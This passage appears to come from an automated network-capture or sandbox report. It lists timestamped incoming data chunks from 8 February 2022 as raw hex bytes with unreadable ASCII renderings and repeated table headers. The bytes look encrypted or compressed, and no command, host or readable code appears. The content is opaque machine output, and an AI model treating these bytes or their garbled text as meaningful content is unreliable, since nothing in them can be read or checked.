68 47 57 14 93 d5 95 a2 48 9c 17 63 89 9d 7c 5e 3f 51 8c 5d 7c eb 4d 61 b0 bc 4e e3 fa 7f be e0 fa 04 6d 23 39 c7 6d 2c 
36 4c 27 b3 d1 87 a8 f9 56 60 73 b3 c1 87 a0 25 54 13 2b 6d 7b 98 6b 42 98 68 73 b2 ad 2e 62 7e ea 83 a0 bd 29 08 ee 
07 e2 40 62 3c 65 08 f6 f7 ea 40 3a b1 e0 8c 7d 68 22 4f be 28 18 8b 72 64 52 48 b1 a7 e5 fd 8d ad 52 5a b1 a7 e5 d6 8d 
ad 52 2f b1 a7 e5 c9 8d ad 52 1a b1 a7 9e 5c 7a 65 5d 9f 
Data Ascii: +{\jM$*bD0hegP)_uLN+v,.Z^R+w-j*5%uhGWHc|^?Q]|MaNm#9m,6L'V`s%T+m{kBhs.b~)@b<e@:}h"O(rdRHR
ZR/R\ze]

2022-02-08 23:07:11 UTC 465 IN Data Raw: 6d 0e bc 44 ae 4e 86 88 62 02 5e 4a a1 c1 16 9e 27 89 1a 10 6f 8c 90 58 60 88 17 bf 83 4a d4 7c 40 61 af 5a 
7c 5d e9 59 b0 1b 87 9a 73 d8 08 d4 f5 23 8a 9c e1 a9 c2 91 ca 0b f9 ad f6 21 71 91 ca 1d 39 55 41 53 af ae cf 1b aa 24 
87 14 e0 a2 7c 3f 6f 60 bf fc 45 91 83 c0 79 d9 57 4f 37 57 74 c1 7f 52 fe 89 70 79 bf bc 4c 45 f9 bf fa ed 7e f7 44 ce f1 b9 
c2 35 7b f1 cf b7 33 e5 e4 43 0a d9 d8 6b 9b 91 0c e4 d5 1f 2f 6a 9d 1a a5 22 92 31 f6 1a ae 0d b0 19 18 8f 37 51 a6 ac 
b8 1f 20 57 32 57 2d d5 7a 43 06 ab 45 7f 3a 83 ae 37 ee 0c e0 b9 cd 82 a8 bc 47 ca a7 97 06 0d 64 54 40 0e d2 80 c7 
46 6c a3 48 08 ea 58 c2 40 e7 da 8a 54 cc d2 b3 68 f0 94 b0 df 0d 1f f8 59 3e 94 c4 df 15 a8 c1 54 55 ab 3a df 1f 2d 09 5d 
e7 1b c5 1c 7f 25 f9 20 04 e1 3a e3 c7 6e 74 7c 20 
Data Ascii: mDNb^J'oX`J|@aZ|]Ys#!q9UAS$|?o`EyWO7WtRpyLE~D5{3Ck/j"17Q W2W-zCE:7GdT@FlHX@ThY>TU:-]% 
:nt| 

2022-02-08 23:07:11 UTC 527 IN Data Raw: 94 05 47 9b bc dc 0f a8 94 1a 72 62 57 d9 b1 e9 1f d5 9a 5d f0 17 59 15 f5 3f 9f 6e 21 fc 5c ad aa b4 c3 4a 39 
3f 8b e5 de 9c 00 ad 69 7b ab 26 29 7c 48 a4 b5 fe d5 26 2b 7c 4a ba 2b 73 0a 00 f4 b0 bc cd b4 0a 5f 0e 02 c1 5b cf ce 
02 98 0c e6 c7 9c cd 36 04 5f 0e c6 07 5f 01 c9 08 d4 4b 56 ef 1f c0 1c 58 f8 13 88 d3 b8 3c 6b 9b 02 f7 23 2a c9 79 6b 39 
46 31 72 b2 0e 2b 8a 8f b8 e3 08 c5 03 28 23 83 d8 eb e0 ab 33 c0 09 70 f0 03 87 38 f1 43 bc 04 47 8c 3e 4e f6 47 b5 06 
e6 cd fd 0e ce 04 7f 44 77 cf f5 0c 67 44 bd 04 4c e4 67 c7 8f 6f 2f 58 68 9c a4 10 df 7b 5f 9b 9f 7c bc 07 9f 73 b3 08 14 
39 2c ef df b2 66 58 38 61 f2 d3 78 4e 71 58 30 54 fa 16 bf b3 19 9c f7 88 92 d4 c6 a3 4f 11 05 60 09 12 b3 92 82 5c 24 75 
61 d7 6c 7d 4a 91 aa be 89 1a e4 31 6e f9 ac 
Data Ascii: GrbW]Y?n!\J9?i{&)|H&+|J+s_[6__KVX<k#*yk9F1r+(#3p8CG>NGDwgDLgo/Xh{_|s9,fX8axNqX0TO`\$ual}J1n

2022-02-08 23:07:11 UTC 529 IN Data Raw: 13 c0 0e 00 2f fc 32 cc a9 ba 31 71 38 3c 79 71 70 fd fb 39 bd 7f c7 3d 33 31 72 fa b9 fd 1e f1 32 3d 15 73 7a 
3f 9e b3 71 b0 d6 b9 33 92 ea 85 0f 5e a0 4c 84 1e a1 8b 0e 1c 8b 54 89 e4 77 eb 85 62 31 e1 32 b8 b6 23 fb f0 77 61 1a 
cc 4b 5d d6 ce 60 82 5d 80 f1 45 da c8 fa 03 d9 7e de 84 91 ba 5c b8 90 31 1c bd 57 b7 e4 ae 9b f8 55 92 a7 c4 de da af 
ef 3d 0a 6c 2c 75 de 47 ca 92 1d 84 41 da 09 af b3 09 ca 6c f3 32 f6 db 20 bd be db ab f5 aa 50 e3 fd 81 e9 31 3e 42 c1 f0
ce 41 4a b8 51 a6 c9 33 19 09 2e b8 92 41 99 5f 01 ca d9 58 e2 48 45 da 7f d4 45 d5 f4 9e da 32 3f 15 90 85 d8 c6 1b cf 
67 21 c0 59 e5 b4 42 cd 6e fc 6d 46 2e d3 fe 06 d4 10 70 4e ef 9b 38 57 59 48 b3 1f 50 c2 fb 0c 7b ca 1f cf b8 e0 9d 0d 7b 
23 dd f4 b8 94 f0 7f f0 86 7b 31 7e ad 50 03 98 
Data Ascii: /21q8<yqp9=31r2=sz?q3^LTwb12#waK]`]E~\1WU=l,uGAl2 P1>BAJQ3.A_XHEE2?g!YBnmF.pN8WYHP{{#{1~
P

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 531 IN Data Raw: f4 28 3a 02 c9 1d 06 3e 81 06 40 3d 4d 40 4c fd 8e 83 c7 b3 00 d7 4d fb 15 fc 5a 26 d6 3f 12 3d 90 3c de 7b 
e3 fc 1d b8 68 b2 93 d4 e3 fa 87 ff 9e 27 44 3c d6 3c 02 3f 1a 7a 50 ff d9 b9 18 7b 12 f1 15 31 a4 85 97 cb 21 4e dd 7d 7d 
82 8b 7f 37 0c ab f4 79 82 c7 df ec bd fb e3 6b f3 53 3b ec bb 58 40 bc 5c d2 11 3e 68 f8 93 fe 7a fa aa 39 32 f3 a8 13 ee 
33 ba bb ff ec 3d 53 f6 6a c5 5d 48 90 43 b5 62 1f 0d 33 36 94 43 bd 62 16 0b ab 49 35 c3 68 8a 7d d8 2e 89 b1 9e cb 49 
72 5d 44 07 f4 31 cf 49 7a 5d 4d 01 6c 76 48 c9 af b5 00 d2 e9 b6 cc 94 26 76 0f 57 0e b6 88 1f 23 fe 3e 73 a4 b6 80 27 
2f f8 0e 4b 13 f5 8c 77 1f 73 c4 53 55 c5 68 d4 bd e0 ea 9c aa cb df 73 69 08 97 68 2f 0b 5b 2e 30 ca 98 ed bb 84 0e 81 
30 ca 80 d5 bb 6a 9d 5f 1b 56 16 15 85 72 3d bf b4 
Data Ascii: (:>@=M@LMZ&?=<{h'D<<?zP{1!N}}7ykS;X@\>hz923=Sj]HCb36CbI5h}.Ir]D1Iz]MlvH&vW#>s'/KwsSUhsih
/[.00j_Vr=

2022-02-08 23:07:11 UTC 533 IN Data Raw: ed 0d 1b b9 67 4d 19 86 ed 0d 18 b9 63 43 cf e8 ed 0d 00 ba c5 d2 82 f2 07 d0 a7 2a 89 9e 2d 15 c1 95 3f 3e 
81 b7 fd f6 84 35 b7 37 0a 7b 26 08 42 49 1a 01 f8 6a 91 a1 30 e1 d9 21 e3 6a 97 ee a8 ed 6d 2e 16 20 ea c6 d6 d0 fb 4c 
d4 f3 3a 67 3d 27 f8 a4 75 a3 33 2f 3d ab 79 af f6 80 82 6f 35 43 72 6c be 0b ed 8b 4d 80 a5 3c aa 7b 2e 7c ad 98 b2 7c 
a2 97 39 36 3d 70 f2 bd 77 c7 15 6e e3 4c 55 41 00 bc 4d ca 48 85 c6 82 7a 0e 3e 8b cd c4 15 7f e2 f8 29 39 e1 4e e5 c3 
3d f9 20 39 a0 32 ec 6e a0 78 70 a5 50 7b fb ed cf 9c 08 66 87 2b ef 9d 0c 6b e8 7e 90 6b 6f 36 52 e4 27 3f d9 ac 35 b9 
21 6e 88 7c 5a ac 4b bf 99 ac f5 78 d9 a7 c9 78 5b e9 4a 44 d0 49 41 cf 98 c8 92 44 d6 1f d9 ce 9e 9d 0a 41 d0 52 41 b1 
d3 d4 07 b2 6e 0f 88 5a 67 8d c0 95 b5 77 09 21 bd c6 1b 
Data Ascii: gMcC*-?>57{&BIj0!jm. L:g='u3/=yo5CrlM<{.||96=pwnLUAMHz>)9N= 92nxpP{f+k~ko6R'?5!n|ZKxx[JD
IADARAnZgw!

2022-02-08 23:07:11 UTC 535 IN Data Raw: 9f 71 1a 2d 20 65 32 e8 24 a1 f0 2b e7 62 00 28 6c 2a 9f cf 9f a1 d7 78 78 22 5c 38 7f c1 c0 38 70 ce 4b 78 5f 
25 cc 30 56 0e 2f 0f 6a 32 a4 47 e8 e1 54 56 6a a3 76 6a 56 9f ba ed 1c 54 31 a5 9e 87 cb 76 52 d1 ca 3c 80 5a 8a 3b 6b 
5a 01 73 6c d1 4b e8 a7 5a 01 5b 74 d1 4b e0 af 47 c9 75 2d d3 42 3b 86 a8 c9 79 a9 5b 0b ba 6a d0 4b 1d 8d 5b 88 96 
c3 dc 6f 05 4c 94 56 8e 06 13 b1 0d 8d 5d 37 2e 06 15 05 a5 4c 92 e2 5e c7 dc 64 2d 48 92 ea 6e c3 d8 6d 89 30 53 23 
0f 0b dc 6d 88 ec 77 e6 c2 6b 90 0d 49 25 16 06 c2 6b 80 5d 49 25 0e 8e c2 6f 89 69 21 44 fb 56 1d 78 bd 55 d1 3e 74 93 
12 fd 0f 06 84 6b 99 89 ca ed a2 02 82 e0 96 ef ca d9 94 c3 16 19 ad 44 5e 2d 2b ec 6b f2 a9 a4 7e d9 4f 55 bd 1a 07 4e 
fb 19 cb 08 a8 de 08 cb 23 90 9e b8 a8 d8 93 93 a4 f8 af af 
Data Ascii: q- e2$+b(l*xx"\88pKx_%0V/j2GTVjvjVT1vR<Z;kZslKZ[tKGu-B;y[jK[oLV]7.L^d-Hnm0S#mwkI%k]I%oi!
DVxU>tkD^-+k~OUN#

2022-02-08 23:07:11 UTC 537 IN Data Raw: df e7 d3 90 f4 38 35 ac c8 04 f9 e6 0c 8e b1 63 df c6 7e a3 54 66 7b 2d 1a b1 3c a3 e2 ab 82 5e 65 e3 a0 d4 
2d 66 73 55 65 a9 18 d7 2d 68 92 eb 2b e2 5e 87 24 69 10 50 af eb 58 53 24 2b 4b 1b 25 a0 49 32 fa 46 75 0e c6 8a f2 46 
c7 08 b8 87 4d 48 b9 40 c3 b0 93 ff ca 3f db 58 2d cc 5d 1e 2e 7b bc 9c 66 b2 3e d4 65 39 fe df 2d 3b 75 dd 07 e4 93 e1 
3b d8 5f 66 73 da dd 2c b2 54 93 bd 75 12 99 0b 68 52 9c ca e3 12 98 01 68 52 98 c6 e2 6e 98 4d de 60 54 0b 52 5c 68 
37 d9 12 e7 d0 3a 39 d0 e1 06 05 5b af 89 e2 b8 25 c1 f6 93 35 05 35 50 be 4b ba b7 5d 60 70 99 61 5c 80 9a ee 12 1f 7d 
6d 98 57 e5 9e 12 1f 4d 65 98 57 fd e6 12 1f dd 64 8e 9d 40 e6 10 1f df 7a 10 10 54 32 17 9b 1e a9 dc 10 54 1a 0f 9b 1e 
a1 d4 0d 9c 34 56 99 17 7a fd fb 9c 38 d2 88 5f fb 11 c0 85 
Data Ascii: 85c~Tf{-<^e-fsUe-h+^$iPXS$+K%I2FuFMH@?X-].{f>e9-;u;_fs,TuhRhRnM`TR\h7:9[%55PK]`pa\}mWMeW
d@zT2T4Vz8_

2022-02-08 23:07:11 UTC 539 IN Data Raw: bc 11 5f 39 7f d2 b7 09 f9 22 af 8b e9 01 2d b7 e2 83 11 be 68 23 18 31 26 ec 53 8a c6 6e 1b 48 8e 66 53 5b 
9e 4d 1b 56 1c 5d 3b d4 fc 4e b9 1c fc cc 85 15 7b 84 9c 97 31 46 12 d9 bb 79 a8 c7 31 31 a5 ec a0 19 99 d0 2b 5f a5 67 
e5 d4 eb e8 02 37 60 a0 16 1c 8f 63 d5 df 7f 56 5e 91 f0 b1 bd ba 53 97 81 86 1b 92 0a ce 84 75 99 45 cc da 7e de 47 92 
c9 39 e4 19 81 86 03 b2 0a c6 04 31 88 5b 04 3e 87 54 8f 76 46 db c7 b4 c9 93 4d 7f 46 db df ac cd 91 1d 27 85 10 d6 ac 
cf 92 1d 27 87 13 ce ac cd 91 1d 23 87 50 92 69 0e 9b 1d 23 9f 48 1d 2c 90 47 9e bc 1b 07 b1 5f 90 4f a8 d4 68 46 1f 1e 
43 80 08 22 7f c6 0b 94 ba 86 ab 5f 79 76 a8 d4 39 71 4b 4c 39 7e c0 06 a6 99 0b 92 2d d9 24 71 a6 91 3d 39 74 1a 75 
03 48 1b 8f 93 8f a5 40 18 c7 ad 6b 10 ee 91 57 56 ed 27 e2 
Data Ascii: _9"-h#1&SnHfS[MV];N{1Fy11+_g7`cV^SuE~G91[>TvFMF''#Pi#H,G_OhFC"_yv9qKL9~-$q=9tuH@kWV'

2022-02-08 23:07:11 UTC 583 IN Data Raw: 1c 9e 36 7e b4 19 ce 4e 0a fe 44 ee 0f 75 0a 51 e8 c6 88 b9 f5 4d c6 76 76 c6 88 89 7a 4d c0 85 51 2f de b9 
6d a4 9e bd b6 2f a2 b5 00 03 29 fb 8e 48 02 b7 90 74 3e ff 95 5e fa 38 56 9d 75 76 b8 6b 79 4a 84 43 93 0a bf 81 25 c7 
94 07 f8 04 57 88 b6 ea 5e 55 75 29 76 80 5e ad ab 43 9d e5 b0 05 9e 29 f6 63 5e ea 35 ec 10 04 64 30 d3 c7 ef 7e 5c 20 
6c f1 16 8f 8b 02 3d cb 86 3e 01 83 9d 78 02 4f db 3e c2 8c 18 b5 8c 03 ff 36 76 45 cc e2 b5 86 7a 09 3f ce 6d 22 e8 df 51 
1e a0 c4 17 1d 6c 82 88 dd af 41 07 93 21 0a 8c dd b6 ed 0f 53 fe ea 84 1b f3 c1 11 03 cf fd 39 d9 b6 3f fa 1a 75 14 63 3e 
49 28 ec 70 cf 63 66 38 d8 e8 2e 35 f3 08 0f 09 cf 40 14 4f cc 8c 52 af 0c 4f 91 25 ac 4a 1a 6b 63 c9 91 25 e4 2e 22 ae aa 
e9 29 25 e4 67 62 ae ac 74 e9 e4 2b 93 02 cf 24 
Data Ascii: 6~NDuQMvvzMQ/m/)Ht>^8VuvkyJC%W^Uu)v^C)c^5d0~\ l=>xO>6vEz?m"QlA!S9?uc>I(pcf8.5@ORO%Jkc%."
)%gbt+$

2022-02-08 23:07:11 UTC 585 IN Data Raw: 90 5d dd bd 53 d6 93 2b f0 5d dd a5 4b 76 66 b2 77 4a 2e a9 31 49 e2 ef d8 8f 21 2c 57 c1 a7 f7 dc 8f 31 7c 
57 c1 bf 8f 7c 5f a8 b3 40 17 b3 f5 43 db f5 39 85 18 36 b2 cb 8f d1 01 40 c1 5f ba 6b 97 6c 86 57 df 77 c0 54 13 31 f4 93 
d0 f2 7b dd 57 15 c8 56 19 83 e3 dd 57 0c 04 6e 7c 33 78 52 40 7b 63 14 43 b7 25 0d 84 74 e6 86 ca e3 01 35 41 ad 8e 
d2 f2 86 12 e1 ce ba 5a fa 88 b9 96 bc 8a 7e 55 7f 05 30 d2 98 b6 bb 9c 0e 45 30 d2 81 a2 83 f9 84 de bf c5 cc c5 f9 c6 
00 83 9e 01 c3 40 15 4f 55 0b 9e 01 db a8 b5 e9 e8 94 89 a1 f3 d2 8a 6d b5 9c 4d ae 76 13 03 28 3d 98 4d be fe 13 03 
30 b5 38 54 4c 89 04 1c 57 cf 07 d0 11 7e c0 13 d2 f5 8e 85 99 7e c0 0b d2 55 fa 27 ee 69 b2 3c a8 6a 7e 7a 30 ad bd b9 
bf e3 3b f2 34 ad ad 79 bf e3 23 32 94 42 5f 0e a8 0a 44 48 
Data Ascii: ]S+]KvfwJ.1I!,W1|W|_@C96@_klWwT1{WVWn|3xR@{cC%t5AZ~U0E0@OUmMv(=M08TLW~~U'i<j~z
0;4y#2B_DH

2022-02-08 23:07:11 UTC 587 IN Data Raw: c9 8c 36 19 8f c0 f4 da 4c 88 30 51 04 04 e3 de 4c 81 30 55 04 17 54 da 4c 99 40 32 4c d3 c6 06 04 16 8c 98 
00 fe 8c d2 9e aa c6 54 52 ec de e9 b3 6b 96 f9 fb a9 1d b9 f9 6e 57 78 7b 26 94 f2 3b 25 53 70 71 e7 d8 3e e0 20 56 70 
6a e7 dc 4c 63 51 fe c7 2b c7 3a 40 63 cf c2 9c dd 18 8a 5e 5f 24 88 d5 11 ae 4f 9f d0 25 01 0e 17 a2 f9 c2 a8 8d 72 8a 
26 51 3a 9a de 8c 84 4a 5c c4 47 76 5d 4a 09 f5 9a 00 cb 7e d4 8a 0c 86 01 35 22 0d 4f bb 76 26 8e ab 4a 1a 05 e5 c4 1e 
2e df d5 22 12 50 9b a4 f6 db d5 32 f2 50 9b bc a6 7b 80 b4 9a 47 c6 b7 56 01 d0 74 95 c2 5f 3a 13 de d4 74 85 12 5f 3a 
0b 26 74 46 03 1a 48 00 00 d6 0e 7f c3 15 cd f0 8d 93 a1 7b c3 05 f5 f0 8d 8b c1 db 64 98 fd e7 22 9b 31 a1 42 58 f2 62 
cd 16 74 36 46 58 e2 32 cd 16 6c fe e6 c4 7f c2 da 82 7c 
Data Ascii: 6L0QL0UTL@2LTRknWx{&;%Spq> VpjLcQ+:@c^_$O%r&Q:J\Gv]J~5"Ov&J."P2P{GVt_:t_:&tFH{d"1BXbt6FX
2l|

2022-02-08 23:07:11 UTC 589 IN Data Raw: a7 f4 25 d8 ef ef 63 db 23 a9 6a 19 e0 6a e1 57 76 76 6a 19 f8 92 41 69 8f ae 7d 21 94 e8 7e ed d2 98 bc 2e 
11 13 f2 b8 25 98 bc 36 d9 b3 e3 41 e5 8f ab 5a a3 8c 67 1c fc 4e a4 df b2 dd 66 54 fc 53 62 7f e5 5f 5e 43 a5 e1 42 80 
18 40 c9 c8 9e 6c fc 0b 5c da 66 80 12 4c 7a 0b 5c c2 66 20 f9 c6 5a 1c b1 dd 1c 1f 7d 9b b5 dd be 58 4f 5b 72 e5 a8 d0 
3a 63 74 e5 f9 a1 c3 3d 76 ef 45 f1 fd a1 d3 15 76 ef 5d d9 5d bd 2b e5 61 f5 30 a3 62 39 76 21 a0 fa b5 aa ee 6c 79 21 
a0 e2 b5 0a 45 e6 89 36 0d fd cf 35 c1 bb 26 f7 02 78 0e ac 42 c6 3a 6f ff 67 b1 27 79 a3 84 e4 bb 15 1e 6f f5 83 2a e4 bb 
0d 1e cf 86 08 22 f3 ce 13 64 f0 02 55 a5 32 c1 96 5f b4 c5 2b b8 3f 8d ad ac 0a 4e 6f 1b d2 c1 21 9d d6 4a 6f 0b 32 c1 21 
85 36 ea cb f3 0a d6 83 e8 4c d5 4f ae 56 16 8c 6d 
Data Ascii: %c#jjWvvjAi}!~.%6AZgNfTSb_^CB@l\fLz\f Z}XO[r:ct=vEv]]+a0b9v!ly!E65&xB:og'yo*"dU2_+?No!Jo2!6LOVm

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 591 IN Data Raw: 9f e4 49 4b 98 6f 03 d0 53 e4 49 7b 80 6f 03 c8 5b e4 49 73 b8 66 dc f8 f8 49 5f 73 b0 73 d4 3d 3b 68 56 75 08 
e3 1e 5c 23 f9 73 60 1f bf 70 ac 59 f8 b3 6f 9a 73 fb 61 b1 c5 8c 5d 8d 42 c4 6e c5 51 ec fe 85 6c 2e 49 51 e3 60 ce b6 00 
eb 80 39 e7 08 c8 2c cc 8b b5 10 f0 c3 ae 56 f3 75 20 dd bd e2 c7 3e 32 aa c3 b5 7a a6 e8 e8 79 9a d4 a0 62 dc d7 16 96 
57 9f 00 1d 1f 93 2b e7 1c af 17 a7 27 93 a0 43 a8 db a4 c8 e0 cd 2f 80 ec e6 6e 82 d0 da ec ca c5 55 a2 4d 22 b6 2d 05 
2e 3d 65 09 05 85 70 35 39 cd 6b 73 3a 7a 3f f8 74 f5 d8 1b 5f 39 a6 27 63 71 a6 ac 2b ee 41 3f a0 a6 ee d8 3b 2d a6 6f 
dc 8e 2d 27 63 69 86 ac 23 6e 05 2e be 6e 0a 21 35 24 95 c6 fe af df 69 19 7c 54 23 ae 9b 8f b7 2c 0c 0d 21 ae 99 8f b5 
25 d9 a0 36 6d 18 2b 7e 54 92 8b 64 d3 da 41 ee 9b 
Data Ascii: IKoSI{o[IsfI_ss=;hVu\#s`pYosa]BnQl.IQ`9,Vu >2zybW+'C/nUM"-.=ep59ks:z?t_9'cq+A?;-o-'ci#n.n!5$i|T#,!
%6m+~TdA

2022-02-08 23:07:11 UTC 593 IN Data Raw: 89 7b b1 39 4a f4 ff ff 83 cc 3d 3c 08 82 f3 24 69 42 30 aa 21 4c 49 69 e3 8f 8a 6d 25 61 bd ac e6 a3 7e 6f 25 
88 dd 7c e6 4b 53 34 e3 03 45 bf ab 0e 6e 97 7b cd ad d9 f3 8a 86 65 89 49 45 ee c7 9f 0e b3 07 5c 81 fb 03 db c9 f0 89 
93 c5 db 30 43 06 18 78 58 40 1b c5 81 08 08 4e c9 04 23 7f be c7 e0 37 a5 81 e3 8a 6c c9 f0 01 24 c5 db 28 7f 06 18 68 
47 3a af d7 cc 74 71 16 0e b7 b2 9d 46 bf 99 d8 fc 7c 5a a2 23 bf 99 61 08 50 e3 a2 cb db ab aa b2 18 68 61 71 5e 6b d6 
b7 27 a8 05 74 e4 83 1c 83 27 40 97 cb 2f 6b f6 69 ec a8 8f aa 2f 63 4c 21 67 6b 67 c3 f8 a8 a4 e8 7b 72 67 2b 3d 71 d0 
e0 b6 39 d8 cb b9 e3 1b 08 f9 1d d1 d3 39 de 12 6e e4 f5 17 bf 27 36 99 f7 22 7e 8f 7c 6a 73 a4 86 ba b0 67 0d f4 7e 5a 
6f 34 bd 71 4d e3 7e b2 66 88 af 71 a5 a3 6f ab 66 60 
Data Ascii: {9J=<$iB0!LIim%a~o%|KS4En{eIE\0CxX@N#7l$(hG:tqF|Z#aPhaq^k't'@/ki/cL!gkg{rg+=q99n'6"~|jsg
~Zo4qM~fqof`

2022-02-08 23:07:11 UTC 595 IN Data Raw: 34 a1 69 b0 7a 32 d4 7c 91 f0 18 97 1b 23 d4 7d db ef 3f ff 38 23 d5 77 eb ef 3e fd 18 23 d4 7d fb ef 3f ff 78 23 
d5 77 8b ef 3e fd 18 23 d4 7d 9b ef 3f ff 38 23 d5 77 ab ef 3e fd 18 64 fe f4 d4 8e 7e 57 5f 4e 67 9b b5 c6 54 10 89 cd e2 
64 a1 82 69 24 8e 09 21 63 69 4a e2 a0 aa 00 65 47 51 8b 2d c0 b6 30 a6 8a 31 d7 55 c2 b6 30 e6 88 31 d7 0d 0f 7b 58 
ea ec f5 10 e1 6b bd 11 6a 23 af e1 60 08 e6 63 a3 cb 6d 23 a4 40 6d 2c 2f 00 42 a7 67 87 a5 1c 2d 00 42 e7 a6 48 c5 00 
15 c3 8f 87 f2 30 08 cd 7d d7 e3 4a 37 50 04 a9 b0 18 86 7a 3f 50 8f f1 77 82 a4 67 f5 41 67 ec b5 46 ec ec 37 0e ef 63 7f 
07 68 2b 7d 4f 7b a1 35 45 51 cf 0e 79 6d c0 81 31 72 4a cb a1 a1 c4 81 21 7a 4a cb a9 99 da 5d 3c 0d 58 c8 b7 4d 77 3b 
3c 05 76 bc 74 37 fc f2 e4 ec 77 ba ef c7 ad b5 
Data Ascii: 4iz2|#}?8#w>#}?x#w>#}?8#w>d~W_NgTdi$!ciJeGQ-01U01{Xkj#`cm#@m,/Bg-BH0}J7Pz?PwgAgF7ch+}O{5
EQym1rJ!zJ]<XMw;<vt7w

2022-02-08 23:07:11 UTC 659 IN Data Raw: f1 4a 39 e9 cd 49 bb aa 32 a2 78 1c 07 29 36 93 e0 ca bd db f6 e1 ba ea ca dd 31 a4 45 3a d2 8f b4 9b 11 4c 
3f d5 9e ab dc 9d 85 80 19 aa b9 bc 9b d1 65 7f 58 12 ee 37 53 5a fe 1c d2 68 c2 20 59 26 4d c7 ba 0d 72 f6 86 31 f9 be 
19 d6 6a 35 51 79 8d ae da 31 3a 49 79 ba 7a 4e fa 26 7a 41 f5 29 fc b1 ff af 0c b2 0f be 26 4a 33 82 1a 45 3c 8d 95 0d 
35 0b 65 0e c5 1a 4f e6 f9 26 73 e9 f6 29 f1 a1 f5 a6 b9 a8 73 56 ba e0 60 7c 61 dc 5c 40 ea 96 c3 a7 21 1d 89 10 c6 c6 
1f 84 44 50 9d 11 c6 c4 16 5f a9 23 b5 60 95 1f 3e 22 ba 7c f9 e1 79 f7 b9 46 9e 64 7a 06 f8 7f ba c5 3b bc fa 62 dc 3f 39 
92 e0 b1 71 a9 6b f9 6b 22 89 46 8c 81 02 08 4a 0b 2b ca 89 84 63 e3 0e ca e7 18 85 84 68 ff 2e 74 79 7d 66 46 f2 37 e1 
a1 79 1c a8 dc ba df 23 92 34 bd d3 83 b6 c6 ef 43 75 
Data Ascii: J9I2x)61E:L?eX7SZh Y&Mr1j5Qy1:IyzN&zA)&J3E<5eO&s)sV`|a\@!DP_#`>"|yFdz;b?9qkk"FJ+ch.ty}fF7y#4Cu

2022-02-08 23:07:11 UTC 661 IN Data Raw: ab 6d 5c a7 21 25 7c 39 21 2a f7 73 be cd 3c f8 f4 62 db 2b 7f 28 6c cc a4 bc ee 59 26 28 65 19 09 cb ee 59 f7 
a4 2d 99 34 67 af d1 1e ed 0f ca 91 a5 3e 41 d9 9f bc 3d 1a 5c 5f fe ac 90 dd b6 a0 bb 96 c1 63 78 1d 8b a5 32 de 4b 66 
b9 90 cb a1 33 68 cf 15 96 20 09 54 55 e0 ca 94 55 6b 91 1f 15 68 56 95 ed 6c e3 5e 66 24 ef 75 c0 1a d3 49 88 12 ef 9f 
d6 30 2d 5c 5d 90 e3 c1 9e 50 20 4a d6 86 ac 89 16 45 e6 4e c4 0d 20 c3 07 cd e3 4c 4f cd a3 4f 88 46 03 44 c2 80 ff 87 
02 43 74 47 0b c9 3c 52 20 3e 42 91 e3 fc 9c 7c 20 3c 5f 3a 0e 8b 94 b1 46 87 bf 68 78 bb 83 e3 30 24 64 60 bb 6c cb 87 
30 e7 83 30 d7 74 08 70 d0 97 8a ec 52 0a 16 ec 5d 81 5e eb cd 0a 1c c4 3e c8 df 07 ce d0 50 49 45 03 df 07 c2 e4 2c 49 
52 34 28 ca 81 f7 ea 09 42 7c a0 96 a5 9f 9c 40 db bc 
Data Ascii: m\!%|9!*s<b+(lY&(eY-4g>A=\_cx2Kf3h TUUkhVl^f$uI0-\]P JEN LOOFDCtG<R >B| <_:Fhx0$d`l00tpR
]^>PIE,IR4(B|@

2022-02-08 23:07:11 UTC 663 IN Data Raw: 4f 23 f5 23 cd b7 7e 63 e2 34 36 7a 69 7c 0c f1 29 71 30 cd ff bf 24 0f 3c 34 6a 80 db d7 ed c8 db 5c a5 dc 95 
37 06 f5 56 f4 2d d5 c4 37 ee 5e 8a b8 09 bd a1 4e 99 7e 62 c5 d7 f1 85 26 58 b9 b6 0d 47 2b 75 ce cc 65 fa 29 2f e2 b2 
12 04 02 20 d1 c7 89 6e 5e 20 6a e5 16 3b 41 d0 84 f8 82 98 bf d3 52 a2 83 ef 7a 7e 01 a7 6e f4 49 aa 45 29 8e 69 86 a2 
c6 5a 0d e2 fd 66 bb 6a 87 4d 7b a9 44 71 ad bc 51 b3 6e 80 87 e8 7b 42 44 10 7d f3 50 6a f8 30 93 a9 d3 35 bf 95 ef 4f 
94 55 2c 8c a8 83 58 99 6a 40 d3 d1 67 6b f5 69 a5 a8 7e 21 3a 4f dd aa 72 e0 3a 01 f9 a8 8d e6 4a 23 cd e1 c9 a1 51 63 
54 3d 51 e5 a4 37 d6 ad a0 bc 9e bd 2b f4 95 96 2f 4c 57 55 07 4e 58 5a 08 c5 12 c5 ef 0e 99 8f 58 e9 4a 19 cc 6b df 92 
82 c4 38 e8 09 86 17 fb ca 45 d4 b3 d3 ce 9c 89 23 fb 
Data Ascii: O##~c46zi|)q0$<4j\7V-7^N~b&XG+ue)/ n^ j;ARz~nIE)iZfjM{DqQn{BD}Pj05OU,Xj@gki~!:Or:J#QcT=Q
7+/LWUNXZXJk8E#

2022-02-08 23:07:11 UTC 665 IN Data Raw: 2b 26 e4 0e e8 a9 aa c0 71 a6 6b 03 f7 56 68 88 bf 5d 11 b4 7d 91 d2 88 ab 83 dd 4a 68 c5 de fd b4 4e 96 33 
41 41 57 f0 ca 07 5d 47 1a 3b 8b 67 17 f9 48 ec 5f 37 af e3 9e f4 93 35 ab f9 51 f6 97 37 1a 06 57 f4 91 44 50 8f 52 87 93 
8f d9 cf 94 04 93 54 5f 8f d9 e7 8c 04 93 5c 57 92 18 12 fc f0 93 50 d3 93 50 93 10 d3 f6 b7 d3 23 f5 3d 9b 10 72 75 9a 9b 
3a 67 11 d5 b4 53 9b 9d 8e d8 d1 1b a6 92 57 2b 8d d6 dd e8 4e 5d 93 66 7a 76 7a ef b9 b5 b6 9b b2 f3 bc 57 ff b9 7f 94 
3c f1 65 1f 72 67 b1 94 3c e9 85 16 47 6a 46 d5 84 41 c7 5c 47 82 37 5f c8 cc b1 77 43 82 27 a3 b3 88 ac e9 35 ac 27 a3 
b3 80 1b 75 60 8f d9 b6 26 8c 6e 38 ad cc c9 df 46 0f 42 9f e1 e8 a1 5c 6e a6 27 78 e8 56 2d 88 f9 dd 65 85 fd 5b 41 47 
3e 98 82 43 b8 a8 43 80 7b 6b 7f 56 50 63 bd 95 16 
